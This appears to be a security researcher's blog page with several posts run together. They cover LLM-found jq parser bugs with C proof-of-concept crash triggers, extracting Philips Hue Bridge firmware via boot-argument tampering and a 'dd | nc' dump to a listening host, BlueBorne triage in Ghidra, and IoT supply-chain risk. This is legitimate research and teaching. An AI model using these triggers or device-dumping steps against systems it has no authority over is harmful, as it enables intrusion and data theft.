Everything found in this post is found by AI - I don't have access to other LLM's like the "Mythos" or other commercial tools from various security companies in this market. This is purely based on common man availability LLM tools. I would be an idiot if i say that LLM's not just from misanthropic can find bugs in source code and that too with lighting speeds.

I personally think this encourages "script kiddie" behaviour and is too good to be true to save humanity from oblivion, and additionally it enhances "cognitive offloading" turned to 20000 km high above, which is disastrous in the longer run, maybe not for experienced researcher but for people starting out or for people from other fields or medium level knowledge personal in a specific area of understanding can now just use this point-tool to get off on this fake high that they were never worthy of in the first place.

As humans find the path of least resistance and usage of LLM to do tasks that once pushed their cognitive limits are now being replaced with cheap prompts and noob syndicated language like " bruhh, find meh sum 0 dayz yaahh" - wtf the fucking fuck is this? Instead of, hmm let me read up little bit on how the parser for this certificate works, or how do i reach this function with what inputs?
"The thrill of pwning a system" - is what i live for!! (In this case, i missed it completely, cos no sport and i absolutely hate it) - But it seems this will probably be the future of finding bugs in source code at least to some extent but it will NEVER, let me repeat it will "NEVER" be able to get even close to what a human brain is capable of for the foreseeable future !

Why?

Shrouded amongst mystery and extremely large claim that "Anthropic's Mythos can find 0-days for breakfast" is good and bad.
I wanted to see for myself if other LLM's can do the same job and write a full-blown 0-day poc because firefox said "the zero days are numbered".

With some professional experience of finding 0-days in source code and mostly in weird binary constructs, i decided to give it a try. But LLM's seem to take the fun out of everything for me. No Fun No Game!

Background:

One fine day on an afternoon, after continuously being bombarded with AI posts, AI write-ups and the whole AI finding 0-day hype, i decided to test drive the default LLM agent that comes with vscode the chatGPT 5.4 model.
I went to github.com and checked out some open source libraries written in C/C++ and the first one that day that was trending probably was the "libjq" - the jq processing library that in simple terms makes your JSON crap looks a little better.
I wasn't much interested in the "jq" cli but rather the "libjq" that people may have linked in their LLM generated or superiorly written codebases.

One shotting ?

So, I cloned the then latest version which was
Just like everyone else on the internet i took the persona of the skiddie and said "bruh chatGPT" - Find me a security issue in this entire codebase for vulnerable patterns seen for buffer overflow, use after free, double free, integer overflow, null pointer dereferences, underflows, pointer manipulations, off-by-one and all kinds of other categories of implementation or logical failure - Skip the cli utility and only look at code that must be used or linked into an existing code bases, aka library code or code that exposes itself as API or via other interfaces"
Churning.... Churning.. Churning....
It generated ton of shit as any LLM does and i had to take some time to understand what was real, but hey you can just say " find me some real bugs mf and ignore the junk/crap"
Churning... churning... Churning....
Some hits that may work ...

The thing is:

When i cloned the repo, it was 9th of April 2026.

And the LLM found the two bugs on the same day within 4 hours.
Unfortunately, I just forgot about them and carried on with other things, then one day i realized i should probably update the source tree and try again, this was around 17th of April and by this time, i saw that both the bugs the exact same bugs were patched. I cried!!

This is not a story of how i using LL found bugs before someone did and that's not the point at all. It's a story of LLM's for source code analysis finding the same bug, which means a collision in pwn2own terms and thus a duplicate but completely valid as coming from 2 individual disconnected sources of information.
Credits to the authors of the CVE's who reported this vulnerability and got it fixed!

So here is a bug report. Some of it as you may have guessed is AI generated for reasons to justify doing this in the first place, but it misses the warmth that you need when reading something up

Bugs: (Below is LLM Generated content as LLM found it)

(I don't care if there are bugs in this section)

1. An out-of-bounds read in the jv_parse_sized() parse-error path.

2. An integer-overflow-driven heap overflow risk in invalid UTF-8 replacement logic.

Bug 1: jv_parse_sized() Error-reporting Out-of-Bounds Read

Vulnerable Version

Confirmed vulnerable tagged release:

• jq-1.8.1

Verified vulnerable code in jq-1.8.1 tagged source:

value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
                                          jv_string_value(msg),
                                          string));

This is vulnerable because jv_parse_sized() accepts a (pointer, length) buffer, but the final error formatting step falls back to plain %s, which treats the input as a NUL-terminated C string.

Bug Details

The bug lives in the parse error path of jv_parse_sized_custom_flags() in src/jv_parse.c.

The sized parser setup is correct:

parser_init(&parser, flags);
jv_parser_set_buf(&parser, string, length, 0);
jv value = jv_parser_next(&parser);

The unsafe part happens later, after parsing fails and jq tries to attach the original input to the error message:

jv_string_fmt("%s (while parsing '%s')", jv_string_value(msg), string)

Because string is only valid for length bytes, %s can read past the caller-supplied boundary looking for a terminating \0.

Security consequence:

1. Out-of-bounds read in the error path

2. Possible crash if the read crosses into unmapped memory

3. Possible disclosure of adjacent readable bytes through the generated error string

PoC

#define _GNU_SOURCE

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#include "jv.h"

static void die(const char *what) {
  perror(what);
  exit(1);
}

int main(void) {
  long page_size_long = sysconf(_SC_PAGESIZE);
  if (page_size_long <= 0) {
    fprintf(stderr, "sysconf(_SC_PAGESIZE) failed\n");
    return 1;
  }

  size_t page_size = (size_t)page_size_long;

  char *mapping = mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (mapping == MAP_FAILED)
    die("mmap");

  if (mprotect(mapping + page_size, page_size, PROT_NONE) != 0)
    die("mprotect");

  memset(mapping, 'A', page_size);
  mapping[0] = '{';

  fprintf(stderr,
          "Calling jv_parse_sized() on a non-NUL-terminated malformed buffer.\n"
      "On a build with an out-of-bounds read in error formatting, this may\n"
      "SIGSEGV when the read crosses into the protected guard page.\n"
      "On the current fixed source build, it should return an error instead.\n");

  jv result = jv_parse_sized(mapping, (int)page_size);

  fprintf(stderr,
      "jv_parse_sized() returned instead of crashing. This is the expected\n"
      "result on the current source build in this workspace.\n");

  if (jv_invalid_has_msg(jv_copy(result))) {
    jv msg = jv_invalid_get_msg(result);
    fprintf(stderr, "Returned error: %s\n", jv_string_value(msg));
    jv_free(msg);
  } else {
    jv_free(result);
  }

  munmap(mapping, page_size * 2);
  return 0;
}

What the PoC does:

1. Allocates two pages with mmap()

2. Marks the second page PROT_NONE

3. Fills the first page with non-NUL bytes

4. Calls jv_parse_sized() on the first page

If jq formats the original input with %s, the read continues into the guard page and faults.

Vulnerable vs Patched

Vulnerable code:

value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
                                          jv_string_value(msg),
                                          string));

Patched code:

value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%.*s')",
                                          jv_string_value(msg),
                                          length,
                                          string));

Fix commit:

• 2f09060afab23fe9390cce7cb860b10416e1bf5f

Patch hunk:

-    value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
+    value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%.*s')",
                                               jv_string_value(msg),
+                                              length,
                                               string));

Bug 2: Invalid UTF-8 Replacement Integer Overflow

Vulnerable Version

Confirmed vulnerable tagged release:

• jq-1.8.1

Verified vulnerable code in jq-1.8.1 tagged source:

uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD

This is vulnerable because the worst-case output size for invalid UTF-8 replacement is computed in 32-bit arithmetic. For sufficiently large length, length * 3 + 1 can wrap to a smaller value.

Bug Details

The bug lives in jvp_string_copy_replace_bad() in src/jv.c.

That function is reached when jq receives sized string input with invalid UTF-8 and replaces invalid bytes with U+FFFD.

Affected call path:

jv jv_string_sized(const char* str, int len) {
  return
    jvp_utf8_is_valid(str, str+len) ?
    jvp_string_new(str, len) :
    jvp_string_copy_replace_bad(str, len);
}

The vulnerable size calculation was:

uint32_t maxlength = length * 3 + 1;

If this wraps low, jq allocates too small a buffer and then writes replacement output based on the full logical expansion.

Security consequence:

1. Integer overflow in output size calculation

2. Undersized heap allocation

3. Heap buffer overflow during replacement writes

PoC

#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include "jv.h"

#define WRAP_TRIGGER_LEN 1431655766

static void *map_bytes(size_t length) {
  void *ptr = mmap(NULL, length, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (ptr == MAP_FAILED) {
    fprintf(stderr, "mmap(%zu) failed: %s\n", length, strerror(errno));
    exit(1);
  }
  return ptr;
}

static void unmap_bytes(void *ptr, size_t length) {
  if (munmap(ptr, length) != 0) {
    fprintf(stderr, "munmap(%zu) failed: %s\n", length, strerror(errno));
    exit(1);
  }
}

static void trigger_string_api(void) {
  unsigned char *buf = map_bytes(WRAP_TRIGGER_LEN);
  memset(buf, 0x80, WRAP_TRIGGER_LEN);

  fprintf(stderr,
          "triggering jv_string_sized() with %d bytes of invalid UTF-8\n",
          WRAP_TRIGGER_LEN);

  jv value = jv_string_sized((const char *)buf, WRAP_TRIGGER_LEN);
  jv_free(value);
  unmap_bytes(buf, WRAP_TRIGGER_LEN);
}

static void trigger_parser_api(void) {
  size_t json_length = (size_t)WRAP_TRIGGER_LEN + 2;
  unsigned char *buf = map_bytes(json_length);

  buf[0] = '"';
  memset(buf + 1, 0x80, WRAP_TRIGGER_LEN);
  buf[json_length - 1] = '"';

  fprintf(stderr,
          "triggering jv_parse_sized() with a JSON string containing %d invalid UTF-8 bytes\n",
          WRAP_TRIGGER_LEN);

  jv value = jv_parse_sized((const char *)buf, (int)json_length);
  jv_free(value);
  unmap_bytes(buf, json_length);
}

int main(int argc, char **argv) {
  if (WRAP_TRIGGER_LEN <= 0 || WRAP_TRIGGER_LEN > INT_MAX - 2) {
    fprintf(stderr, "invalid trigger length\n");
    return 2;
  }

  if (argc > 1 && strcmp(argv[1], "--parse") == 0) {
    trigger_parser_api();
    return 0;
  }

  trigger_string_api();
  return 0;
}

What the PoC does:

1. Allocates a very large input buffer

2. Fills it with invalid UTF-8 bytes

3. Sends it through jv_string_sized() or jv_parse_sized()

4. Targets the length * 3 + 1 wraparound condition in the historical code

Vulnerable vs Patched

Vulnerable code:

uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD

Patched code:

uint64_t maxlength = (uint64_t)length * 3 + 1;
if (maxlength >= INT_MAX) {
  return jv_invalid_with_msg(jv_string("String too long"));
}

Fix commit:

• e47e56d226519635768e6aab2f38f0ab037c09e5

Patch hunk:

-  uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD
+  // worst case: all bad bytes, each becomes a 3-byte U+FFFD
+  uint64_t maxlength = (uint64_t)length * 3 + 1;
+  if (maxlength >= INT_MAX) {
+    return jv_invalid_with_msg(jv_string("String too long"));
+  }

End of LLM Generated content ---------

Is the Thrill of Pwning a System Gone?

Someone like me doesn't do anything just cos everyone else is doing it - what i do is deeply rooted in how interested I am in the topic and do i feel a sense of achievement after racking my brains for months - The answer for me is simple "With LLM's to find bugs, even if they are 0-days is meaningless to me as it doesn't stimulate my brain the same way like that, when i do it myself to get that dopamine hit that lasts probably days for which reasons i got into this field and how my childhood was actually motivated.
I know my process is slower and using LLM's is much faster, but i would trade the brain rot it brings to me and leaves a bad taste in my mouth after blowing it for hours and rather stick to my way.

Conclusions

It doesn't matter which LLM vendor or software you are using, the latest one is thus capable of finding security issues in source code at-least. How good the findings are depending on the personnel using the LLM and not the LLM itself.
So, there is nothing special about "Mythos" or any other models for that matter.

LLM's probably are the future for source code level analysis and has uses in other various fields. I believe it's only good as an auto-complete tool that when prompted enough may or may not lead you to your outcome.
This run was just an example, and it doesn't make it any true that only LLM's can now find bugs, it is just probably just shortening the time.
But again, this is a direction for brain rot for reasons mentioned above.

LLM's are not a substitute that you can offload everything to it and forget the world exists or it becomes a better , trust me, it doesn't for several reasons ranging from "cognitive offloading, dissonance, forgetting things, not pushing your mental limits, offloading or skipping the learning process and just pure vibing" these things are detrimental to your brain power in the longer run - We humans never learned anything by skipping things and why should LLM's be any different when it can just single shot everything.
The amount of time you spend prompting the LLM can be better spent in learning or understanding things at a deeper level that brings determinism in your brain, and you can use that new information to plan and design things better.

I also feel usage of LLM's is over-hyped beyond recognition these days and it will continue to happen.
However, it is also true as we saw in this write up that various industries will continue to evolve pushing forward various agendas and marketing material but real-life is not similar to prompting where you get things quickly but rather a combination of things. If i were to encounter a "person" who is like an LLM, I would probably slap him out of existence. E.g. think about explaining the same thing to a customer care executive (real) about a refund issue of your flight ticket and he doesn't understand and keeps asking you the same information and keeps circling back to the same thing again and again in a different way, LLM prompting is like that - wouldn't it be much simpler to just talk to a human and get your things resolved in a biological way.

Question for you?

To whom you will send the T-800 to kill?

We are the Resistance!

I was always fascinated by the pwn2own competition - an elite hacking competition where hackers from all over the world compete against time and the most patched and unto dated systems, software’s, devices and products etc. The concept of pwn2own started back in 2007 as - if you hack this laptop then it is yours - pwn to own. Now this elite competition has evolved into a very sick hacking competition (it already was) with hacks on real patched systems with a lot of money being awarded. Hence, I decided to try my luck - even if i do not succeed i will probably learn a lot of stuff on the way and get a glimpse into this world. Professionally, my day job is to hack embedded control units and help my company stay a little more secure than it was yesterday, therefore, i thought maybe i can apply the same skills i have on this target. I have worked on a lot of different systems as a developer, leader and a hacker in my career, so picking up something new meant connecting different points in time from my work experiences from the past and apply them at once.

What is Pwn2Own ?

The pwn2own competition is managed by ZDI which is part of Trendmicro, and ZDI puts up a blog post and rules of the upcoming event 3 months in advance about which targets are in scope and what the rules of engagement and win are. e.g.https://www.zerodayinitiative.com/Pwn2OwnIreland2025Rules.html In my case i decided to try the Pwn2Own Ireland 2025 as it now focuses on products (embedded products), there are separate pwn2own's for enterprise, ICS/OT, automotive but this one focus more on devices like home automation, speakers, phones, printers, routers etc.

The very first thing is to check how much money you want to spend on a target, as you need to purchase the target device so if you were to participate in the competition and want to attempt to hack an iPhone, then you gotta have the iphone, which costs quite some money - same principle applies to other devices also. So, i decided to purchase the Philips Hue Bridge Device, as that was the cheapest one on Amazon Germany, just around 43 euros. Other targets cost a lot of money.

Things to Consider:

Timeline:
As soon as the targets are announced by ZDI, you have relatively less time, to finalize a target - the more experienced & l33t researchers like the Summoning Team or Synaktiv or PCA Cybersecurity or others who have repeatedly cracked many devices on stage, probably buy most of the targets immediately and then work on them in various teams or as individuals. But for inexperienced pwn2own participants like me, i took 2 weeks to decide on a target and my buying decision was purely based on price a device would cost. Once you order the device, and if you are in Europe or the US, it probably takes really less time, as most of the devices in Pwn2Own will be available to ship immediately, but in some countries like India or other SE countries, its really hard to get some of the targets as they are not available locally but have to be ordered or imported from country outside. This costs time, which is precious as the since the date of announcement of the competition targets, participants have 3 months to research, find vulnerabilities and develop a working exploit on the target device in most cases remote code execution and the deliver on stage. So don't waste too much time in selecting a target. For targets like browsers or virtual boxes in other categories, they are readily available, but this is out of scope for this discussion.

Probability:
Lets say you find a bug and wrote an exploit on the most latest version that you have 1 month or 2 months before the competition date, and say the version is 1.1.1, as the competition comes closer, the vendor decides to send a patch, that kills your bug, or your exploit does'’t work at all due to some other factor you are not aware of that got introduced in the update, which means now you have even less time to find the bug and write/reworks your exploit before you take the stage if you will. Vendors will send and apply patches, till the last minute of the competition in order to kill the bugs and avoid paying the money in full. therefore, be advised and plan accordingly while considering these situations.

Defend your exploit code:
If you’ve ever heard of defensive programming, then in simple terms it means that considering almost every condition and failure scenario your code will move through and achieve what is supposed to. In a high stakes environment like pwn2own it could be possible that you tested your exploit on v1.1.1 but in the competition you got v1.1.2, the bug is still present but your exploit fails, due to a certain condition introduced in the new version, therefore pwn2own gives you 3 attempts on stage to fix your exploit code or something else - I’ve never been on the pwn2own stage so I don't know how stressful or easy it is to make it work if something goes wrong. Therefore, always write your exploit code considering these variations in target software versions, regional changes, environment difference etc.

pwn2own is a competition where if something has to go wrong, then it will go wrong so plan accordingly!

Basic Strategy

Now with that being said, let’s get back to our approach - Once we received our target, the first thing for us was to power it up and check its functionality:

• Power Up - trivial (For automotive Grade devices, this is not so simple like plugging in and everything starts working)

• Connect to Network via Ethernet - easy

• Enable internet on the device - later

• Create Hue Bridge app account - later

• Register the device in the Hue app Account - later

• Play around with full functions - later

There was a lot of stuff that I did in between. We moved a little carefully, such that we should be able to save a snapshot condition and logs on the device's boot up and its interaction with its network somewhere so that we might refer back to it in the future.

• Powering Up (Just plug the device in and you have power - no fancy stuff as it is a consumer device)

  capture all traffic (Most of All you see are DHCP requests to get an IP address) File attached here

  • 

    As the Hue Bridge does not yet have a Wi-Fi hotspot, we need to connect it to the router or Local PC with an Ethernet cable.
    Setting up the DHCP server is straightforward with dnsmasq - you just need a conf file and a simple command -

      sudo dnsmasq --conf-file=hue.conf --keep-in-foreground --log-queries --log-dhcp                                                      18:43:05 
      dnsmasq[1124116]: started, version 2.90 cachesize 150
      dnsmasq[1124116]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth cryptohash DNSSEC loop-detect inotify dumpfile
      dnsmasq[1124116]: warning: no upstream servers configured
      dnsmasq-dhcp[1124116]: DHCP, IP range 192.168.50.10 -- 192.168.50.100, lease time 12h
      dnsmasq-dhcp[1124116]: DHCP, sockets bound exclusively to interface enp1s0
      dnsmasq[1124116]: cleared cache
    

    All you get after this are a bunch of DNS requests (Don’t forget to give a gateway IP to your box ethernet interface, ideally the gateway IP.

    The conf file is available here:

    

    I just temporarily sink-holed all the DNS requests to my local machine I saw, to ensure that the shit doesn’t connect to the internet and auto updates itself, losing some breadcrumb i might need later in hopes of finding some initial handshakes, without letting them talk to the actual Philips backend. (Packet capture here)

    Similarly, we can capture all the traffic now between the device and its end servers with this approach.

    Before we move on to the Application and Behavior analysis of the Philips Hue Bridge - We will take a small detour to get the firmware extracted, which was not so obvious as it should have been.

Firmware Extraction (UART to the rescue - well Not so much)

Philips, please disable your UART !!

• Colin o Flynn article

  After Following Colin’s article, even I had the boot delay set to 0, which means, there is no way to stop at u-boot to alter the security string. However, as shown in the article, if you short the SPI chip select logic to 0, then the u-boot driver fails to find the chip from where the kernel needs to be picked up and thus drops you to a nice u-boot shell. (Unfortunately, i do not have screenshot for this glitch) But this needs to be timed correctly, when you see the below on the console.

  

After trying a couple of times - I did it with my bare hands and a jumper cable.

From here it felt like the struggle is over to extract the firmware, but this was only the beginning.
All the methods previously shown to reset the security string from u-boot and then using that to login to the device did not work - as after booting it would drop you to a console which asks for some cryptographic key or passphrase before showing the login prompt, which I did not have. This seems to be introduced by Philips after learning about the previous attacks conducted by Colin and other researchers.
However, there is still another way. Kids Stuff !

Modifying the default boot parameters of the Hue Kernel Command line is still possible - and I could use this to drop into a bare shell.

std_bootargs=board=BSB002 console=ttyS0,115200 ubi.mtd=overlay rootfs=/dev/mtdblock:rootfs rootfstype=squashfs noinitrd init=/bin/sh

This is pretty common for embedded devices running Linux -- I used to do this all day long when I started my career so this was familiar territory.

So ideally once, you drop yourself to “/bin/sh” bare shell, you can basically run everything from the cli and dominate the device, but for me it was not that simple for this device.

I thought running /sbin/init from the bare shell /bin/sh would start everything, it did but then it locked the console for a password.
After hitting a wall with persistent changes on the Hue Bridge’s file system, I decided to try a different approach—Ramdisk. The idea was simple: load an emergency kernel with a temporary file system packed with minimal utilities. This would give me a cleaner environment to poke around and dig deeper into the device’s internals.

From the boot logs, I learned that the Hue Bridge uses an MTD-based NAND layer with a SquashFS file system and some overlay magic. The catch? Any changes made in the /bin/sh environment wouldn’t stick and would vanish after a reboot and never make it to the actual /sbin/init boot process. I spent days trying to crack this, but persistent changes on MTD were a no-go.

So, Ramdisk became the plan. The goal: boot into a better file system environment and then dump the MTD blocks one by one outside the device using nc.

Lets see how we can load a Ramdisk - You can find a bunch of Ramdisk’s from here - you need a a specific one that can understand the NAND https://downloads.openwrt.org/releases/21.02.2/targets/ath79/nand/

We already had bootdelay set to 5 (thanks to our earlier glitch) and changed the boot command line to /bin/sh. U-Boot conveniently offers a TFTP boot option, which is perfect for loading a Ramdisk over the network.

Back in the day, TFTP was common because it’s lightweight and easy to embed in U-Boot. It allows network boot or RAM load out of the box. There’s also DFU boot, another U-Boot feature that later became popular with Raspberry Pi and other dev boards..
From uboot envars we have

To load the Ramdisk, we need a local TFTP server. Here’s the setup:

• Local machine IP: 192.168.11.66 (where the TFTP server runs)

• Device IP: 192.168.11.179 (hardcoded on the Hue Bridge)

Connect both over Ethernet, and you’re good to go. U-Boot will use these settings to pull the Ramdisk image from your TFTP server during boot.

I am using from the below ramdisk.

• 

  Philips, please enable Secure Boot - at-least the basic one !!

  

  Once the system pulls the image into RAM and starts booting, you’ll need to enter failsafe mode, otherwise, the image will spiral into an endless kernel panic. (Debugging that rabbit hole is a story for another day.)

  Failsafe mode basically gives you a minimal shell environment so you can work with the temporary file system without crashing the device. From here, you can start dumping MTD blocks using nc or whatever method you prefer.

  

  Now we’ve got our emergency Ramdisk running, and it’s time to start pulling the firmware from the MTD partitions. Before you dive in, make sure to configure the network interface, usually eth1 on this device and set the IP address correctly so the device can talk to your host machine.

  Once that’s done, you can start dumping the MTD blocks one by one and stream them out using nc (netcat). This gives you a clean way to extract the raw firmware without relying on the device’s restrictive overlay filesystem.

  

  Once you’ve got the Ramdisk running and the network configured, do a quick ping from your host machine to the device to make sure connectivity is solid. If that checks out, the next step is simple:

  • Start a netcat server on your host machine.

  • From the device, stream the MTD partitions over to your host using nc.

This way, you’ll have the raw firmware safely outside the device, ready for analysis.

    nc -l -p 9000 > <firmware.bin> - on Linux acting as server
    dd if=/dev/<partition> bs=1M | nc <your Linux server IP> 9000 - on device

Run the above commands for all the partitions.

The real stuff here is the UBI/SquashFS file system, it holds the root tree of the device: binaries, configs, libraries, and everything else that makes the Hue Bridge tick.

After dumping the MTD partitions, the next step was parsing them. For that, I turned to some Python-based UBIFS reader utilities. They’re super handy for extracting and navigating the contents of these NAND-based file systems without having to mount them directly on the device.

Finally, I could confirm that the files I pulled were indeed from the Hue Bridge and not some random junk. That meant I successfully extracted the actual firmware (I might share the decryption key if Philips reaches out to me)from the device. The version I got was 1959194040, which is an older build.

For comparison, if you download firmware from Philips’ official site, you’ll get a blob that’s packed, obfuscated, and encrypted. I tried that route too, but the good news is, somewhere in the extracted file system, there’s a decryptor(Please don’t ask for the Decryptor). So, that’s a win.

At least up to this point, the goal was achieved: firmware extraction from the device itself. Other methods didn’t work for me, and I could’nt find an older article that extracts firmware from a newer device . There are old threads on OpenWRT forums about this, but Philips has patched a lot since then.

Could there be a cleaner way to do this? Probably. Did I have time to explore it? Nope—the clock was ticking. This whole process took about 3–4 days of solid work.

Troubleshooting Tips:
- As always make sure your hardware connections are not loose - this has caused me time well wasted over the span of my career in a lot of variety of ways
- I spent a lot of time getting the /bin/sh and then pivot to /sbin/init by doing all sorts of ubifs magic, overlayfs, mtd mounting etc. The steps here however worked somehow after a lot of trial and error.
- Don’t get locked down by dead-ends and quickly move to another approach - Go in the rabbit hole that is worth while
- As I had limited time probably just 2 weeks so i only could go for a few rabbit holes.

When I used to work as a low-level developer i have worked and wrote code for most of the things mentioned here. However, there were a few things, that were new to me until here.

I would also like to Thank my dear friend Alexandre Opeck for some cool discussions(quantum JTAG :) ) we used to have during our coffee breaks on various strategies for this device.

In the next one, we will have a look at the functionality and other items I investigated!

Resources:

https://research.checkpoint.com/2020/dont-be-silly-its-only-a-lightbulb/
https://www.reddit.com/r/Hue/comments/3x12y6/jailbreaking_the_v2_hub/
https://www.jkry.org/ouluhack/HackingHueBridge?utm_source=chatgpt.com#Getting_root_shell_.28HW_hacking.29
https://blog.kleine-koenig.org/ukl/philips-hue-bridge-v21.html
https://ottelo.jimdofree.com/sonstiges/philips-hue-bridge-wlan/
https://www.synacktiv.com/publications/i-hack-u-boot
And others …

• 1. Linux​ ​kernel​ ​RCE​ ​vulnerability​ ​-​ ​CVE-2017-1000251

• 2. Linux​ ​Bluetooth​ ​stack​ ​(BlueZ)​ ​information​ ​Leak​ ​vulnerability​ ​-​ ​CVE-2017-1000250

• 3. Android​ ​information​ ​Leak​ ​vulnerability​ ​-​ ​CVE-2017-0785

• 4. Android​ ​RCE​ ​vulnerability​ ​#1​ ​-​ ​CVE-2017-0781

• 5. Android​ ​RCE​ ​vulnerability​ ​#2​ ​-​ ​CVE-2017-0782

• 6. The​ ​Bluetooth​ ​Pineapple​ ​in​ ​Android​ ​-​ ​Logical​ ​Flaw​ ​CVE-2017-0783

• 7. The​ ​Bluetooth​ ​Pineapple​ ​in​ ​Windows​ ​-​ ​Logical​ ​Flaw​ ​CVE-2017-8628

• 8. Apple​ ​Low​ ​Energy​ ​Audio​ ​Protocol​ ​RCE​ ​vulnerability​ ​-​ ​CVE-2017-14315

In this article/series we will focus on the first two -​ CVE-2017-100025 and ​CVE-2017-1000251

​CVE-2017-1000251 is a information leak vulnerability so i thought it should be relatively possible to find in the binary where the vulnerability is present as we have all the details related to the code, the patch and exact versions of the software, namely Bluez version 5.46. The source code patch is available here in version 5.46
With that being said, generally there are two ways to find out if this affects you -

1. You have an inventory or SBOM of the products with the software’s used inside it with versions of all the libraries, stacks, vendor stacks (generally no) etc

2. Find out from the binary blog? What?

In the first case, if you have this then you are a pro otherwise you are in the same queue as majority of vendors.
In the second one, when people build stuff, its generally good to optimize the code and remove the symbols from the builds to ensure less size, as the processor don’t care if you have symbols or not, all it care is binary code and stripping a binary or library from its symbols and debug information for production devices that are shipped is a good practice. When you want some debug ability let’s say during development you need to know where your shit crashed and with some logs would be good. But this causes a problem to track something that is in the field if it’s pure binary data -
Now to identify if Blue Borne is part of your device stack or not is based on the above two approaches. Therefore, for an investigation team like a Product Security Team, it would be important that they analyse all the assets to look for something that looks like Blue borne purely from stripped binary data and this is how it looks.

Now, what the flying fuck is this, said Tyson Benson one day.

How can someone not so experienced with reverse engineering look for something like this a multitude of stripped and packed code throughout a set of products portfolios?

Now here is a sane compiled from source with symbols versions of the same stub

Imagine how much easier would it be triage this if only we had debug symbols - In some cases, you took this from someone else, and he deleted all the symbols before sending it to you and in other you might still have them if this was part of some random team from your company.

Triaging this when you are symbol blind seems like a mission for the IMF !!

But wait - then how do you actually triage this ?

Let me take a diversion here to show you how compiler plays tricks on you when you want to load some binaries in Ghidra and try to find it where the hell is that stub function ?

I started to build out an environment to compile Bluez 5.46 from source code and after running into some compiler warnings and error of the kind like redefinition of function in some files on the newest ubuntu, i found the newest include files from Libc defined some functions differently that were used in this version of BlueZ - idk whatever , so i decided to use Ubuntu 16.04 as some guy used this to build an exploit for these vulnerabilities, hence i switched to a server version of Ubuntu 16.04 and the shit compiled out of the box.
Cool, who really configures the codebase when you are just playing around, so i let it build with default options. Then loaded the built object code for the src/bluetoothd-sdpd-request.o in ghidra and to my surprise the function(service_search_attr_req) where the vulnerability exists would’t show up in the function listing — why ? I had no idea. This is probably should have been intuitive for me but not one of my best days. So i went a little deeper.
The actual code where the vulnerability resides according to Armis’s documentation looks something like this so the function service_search_attr_req must be there in the file src/sdpd-request.c

The function after compiling matched on below files as one would expect, specifically the object file src/bluetoothd-sdpd-request.o

But it does’’t show up in readelf symbols, nm or any other tools including Ghidra.

After seeing this i was like wow - generally, this function is part of the compiler optimization hence the function got removed or something else happened ?

Ghost Input: Compiler optimizations have killed more RE’s in an hour than titanic !

The solution is simple, the compiler optimized this and in-lined this function within the same file from where this is called depending on level of optimization, this is completely terrible when reverse engineering as it is hard to understand where is what and is a point of confusion and this is most probably how it will be in production release version, in-lined, optimized, and stripped of any debug info to give you a hint. As this is an exercise, lets simplify this a little bit.
We recompile the code but with no optimization so that the service_search_attr_req is visible as a separate function and we can create a call graph.

./configure CFLAGS="-O0 -fno-inline -g"

Once we have the object file with no compiler optimizations, things look a little better and we can find the function now because we told the compiler to ignore optimization. This should have been picked up by me earlier.

So based on the data from Armis, lets try to prepare a Path to reach this function purely initially from the debug version binary file and then with stripped binary file as it will be in production - good for you if it has debug (some)symbols in production.

If with debug symbols a small call tree would look like this -

The start of Process request with its address - 0×00101a7a

Similarly for handle internal request at 0×101d56

and also for handle_request at 0×101e1f

Therefore taking stuff from debug versions to compare the symbols and functions from the not optimsed compiled object file refer to the same function calling tree - Yay ! as seen from below

Could this mean there is a way to do this ? Probably yes, here we recompiled our codebase to show us independent functions stub so we can better trace in Ghidra. May be using this method, you can probably pin point if your older compiled binary based shit is valid or not for a given vulnerability.
Knowing a vulnerability and the path it takes can be used effectively to somehow counter “Are we affected with this godforsaken bug ?”, the above method is very trivial when done manually and only takes an hour or so for an experienced researcher doing stuff manually.

Relying on addresses is not a good way, as a small change will change these offsets.

It is totally possible that other methods to do this exists and are much better, maybe someone would have made a plugin for Ghidra or Binja for this idk. Please note we have not covered how to trace when the compiler optimizations are in place and functions are in-lined, perhaps we will do it in the next article.
The lingering question still remains, will this help the not-so-reverse-engineery analyst Tyson B pinpoint, confirm and triage this purely from a binary.

Stay Tuned for Part II.

Note: For professional queries and projects, reach out to me at abhijit.lamsoge@outlook.com

Title image and Tyson’s(He looks much better than this guy) image is generated by AI.

You scroll Amazon or AliExpress late at night and a shiny IP or door camera shows up. It promises WiFi, Bluetooth, a slick app, cloud view, maybe even some AI sticker on the box. The price feels like a win so you buy it. What you do not see is the rest of the picture. The same camera can quietly invite strangers into your living room. Not because you are careless, but because the device is a patchwork of other people’s code and choices shipped fast. E.g. here and here and countless more - do you need a dashboard ?

Risk sneaks in two ways. Sometimes it is intentional and the design serves a purpose that is not yours. More often it is accidental. Normal companies under normal pressure assemble products the way everyone builds now. Layers of chips, SDKs, open source libraries, vendor firmware, and cloud glue that a contractor grabbed on a Tuesday. No one writes a fresh TLS stack. No one invents a new JSON parser. You pick parts that seem reliable, wire them together, demo the feature, and close the ticket. That is what velocity looks like.

Provenance is what gets lost. Your team buys a module from Company A. That module bundles firmware from Supplier B. Supplier B links a library from C. The library depends on a blob from D that has not seen an update in years. By the time the product ships, the box in your hand is a matryoshka of strangers’ code. If you cannot name it, you cannot patch it. That unknown middle is the supply chain blind spot. It is the difference between hotfixing tonight and discovering your camera speaks a language you do not.

